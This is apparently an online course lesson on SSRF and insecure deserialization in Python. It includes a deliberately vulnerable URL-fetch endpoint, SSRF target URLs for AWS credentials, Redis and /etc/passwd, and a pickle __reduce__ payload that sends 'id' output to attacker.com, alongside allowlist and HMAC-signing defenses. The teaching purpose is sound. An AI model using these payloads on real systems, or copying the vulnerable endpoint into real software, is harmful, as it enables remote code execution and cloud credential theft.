Skip to main content

Lesson 8 of 11

SSRF & Insecure Deserialization

Server-Side Request Forgery (SSRF) and insecure deserialization are powerful attack techniques that are increasingly common in modern web applications and cloud environments. Both can lead to remote code execution, cloud credential theft, and full system compromise.

50 minBy Priygop Editorial TeamUpdated 2026Peer Reviewed & Verified

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF)
# SSRF: Tricking the server into making requests to unintended destinations

# Vulnerable scenario: Web app that fetches a URL provided by the user
# Example: Profile picture import feature

# VULNERABLE Python code
import requests

@app.route('/import-image', methods=['POST'])
def import_image():
    url = request.json.get('url')
    # Fetches whatever URL the user provides - SSRF vulnerability!
    response = requests.get(url)
    return save_image(response.content)

# Attack: Submit url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# This is the AWS Instance Metadata Service (IMDS)
# Response contains: AWS Access Key ID, Secret Access Key, Session Token
# Attacker now has full AWS access with the server's IAM role!

# Other SSRF targets:
# http://localhost:6379   → Redis (no auth by default) - read/write any key
# http://10.0.0.1        → Internal network services not exposed externally
# http://169.254.169.254 → Cloud metadata → credentials, instance info
# file:///etc/passwd     → Local file read (some HTTP libraries follow file:// URIs)

# DEFENSE: URL allowlist validation
import ipaddress
from urllib.parse import urlparse

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        
        # Only allow https
        if parsed.scheme != 'https':
            return False
        
        # Only allow approved domains
        ALLOWED_DOMAINS = {'cdn.example.com', 'images.trusted.com'}
        if parsed.netloc not in ALLOWED_DOMAINS:
            return False
        
        return True
    except Exception:
        return False

Insecure Deserialization

Insecure Deserialization
# Deserialization: Converting serialized data back into objects
# The vulnerability: Deserializing untrusted data can execute arbitrary code

# Python pickle - EXTREMELY dangerous with untrusted data
import pickle
import os

# Attacker crafts a malicious payload
class Exploit(object):
    def __reduce__(self):
        # This executes when deserialized
        return (os.system, ('curl http://attacker.com/$(id)',))

payload = pickle.dumps(Exploit())

# Vulnerable application deserializes user-supplied data:
# data = base64.b64decode(user_input)
# obj = pickle.loads(data)  ← Executes the attacker's __reduce__ method!
# This gives the attacker RCE (Remote Code Execution)

# Real-world: 
# Apache Log4Shell (2021) used similar principle via JNDI deserialization
# Python pickle: Never deserialize untrusted input
# Java ObjectInputStream: Same vulnerability - use JSON instead
# PHP unserialize(): Magic method chaining enables RCE

# SAFE alternatives:
import json

# JSON serialization - safe (only supports primitive types, no code execution)
data = json.dumps({"user_id": 42, "role": "user"})
obj = json.loads(data)  # Safe - JSON cannot execute code

# If you must use serialization: Sign the data with HMAC
import hmac, hashlib, json, base64

SECRET = b"server-signing-secret"
def serialize_safe(data):
    payload = json.dumps(data).encode()
    sig = hmac.new(SECRET, payload, hashlib.sha256).hexdigest()
    return base64.b64encode(payload).decode() + "." + sig

def deserialize_safe(token):
    payload_b64, sig = token.rsplit(".", 1)
    payload = base64.b64decode(payload_b64)
    expected = hmac.new(SECRET, payload, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(expected, sig):
        raise ValueError("Invalid signature - data tampered!")
    return json.loads(payload)

Common Mistakes

  • Using pickle, Java ObjectInputStream, or PHP unserialize on any user-controlled data - these are fundamentally unsafe; use JSON or signed tokens
  • SSRF validation using DNS lookups - attacker can set up a domain that resolves to 169.254.169.254 during validation but redirects later; validate the resolved IP, not the DNS name
  • Not blocking SSRF to cloud metadata IP - 169.254.169.254 should be blocked at network level for any service that doesn't need it; use IMDSv2 (AWS) which requires a PUT request with a token

Tip

Tip

Practice SSRF Insecure Deserialization in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.

Diagram
Loading diagram…

The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).

Practice Task

Note

Practice Task - (1) Write a working example of SSRF Insecure Deserialization from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.

Quick Quiz

Common Mistake

Warning

A common mistake with SSRF Insecure Deserialization is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.

Key Takeaways

  • Server-Side Request Forgery (SSRF) and insecure deserialization are powerful attack techniques that are increasingly common in modern web applications and cloud environments.
  • Using pickle, Java ObjectInputStream, or PHP unserialize on any user-controlled data - these are fundamentally unsafe; use JSON or signed tokens
  • SSRF validation using DNS lookups - attacker can set up a domain that resolves to 169.254.169.254 during validation but redirects later; validate the resolved IP, not the DNS name
  • Not blocking SSRF to cloud metadata IP - 169.254.169.254 should be blocked at network level for any service that doesn't need it; use IMDSv2 (AWS) which requires a PUT request with a token

Hands-on Practice Tools for this Course

Test what you learn using these free in-browser developer utilities (no signup required).

All 40+ Tools

Topics in This Module

0/11 done